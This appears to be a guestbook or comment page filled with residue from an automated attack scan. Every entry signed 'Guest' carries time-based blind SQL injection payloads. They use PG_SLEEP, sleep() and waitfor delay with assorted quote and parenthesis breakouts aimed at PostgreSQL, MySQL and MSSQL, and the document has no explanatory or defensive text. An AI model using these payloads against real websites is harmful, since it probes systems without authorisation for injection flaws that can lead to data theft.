Guest:
1xxicsK8p') OR 978=(SELECT 978 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
1xxicsK8p') OR 978=(SELECT 978 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --

Guest:
1xxicsK8p') OR 978=(SELECT 978 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --

Guest:
1xxicsK8p') OR 978=(SELECT 978 FROM PG_SLEEP(15))--
-1 waitfor delay '0:0:15' --

Guest:
1xxicsK8p') OR 978=(SELECT 978 FROM PG_SLEEP(15))--
Q530kfJH'; waitfor delay '0:0:15' --

Guest:
1xxicsK8p') OR 978=(SELECT 978 FROM PG_SLEEP(15))--
aE0ufjqc'); waitfor delay '0:0:15' --

Guest:
1xxicsK8p') OR 978=(SELECT 978 FROM PG_SLEEP(15))--
kR9RA2Q9')); waitfor delay '0:0:15' --

Guest:
1xxicsK8p') OR 978=(SELECT 978 FROM PG_SLEEP(15))--
KZNpgM2u' OR 206=(SELECT 206 FROM PG_SLEEP(15))--

Guest:
1xxicsK8p') OR 978=(SELECT 978 FROM PG_SLEEP(15))--
yaZNCDvK') OR 763=(SELECT 763 FROM PG_SLEEP(15))--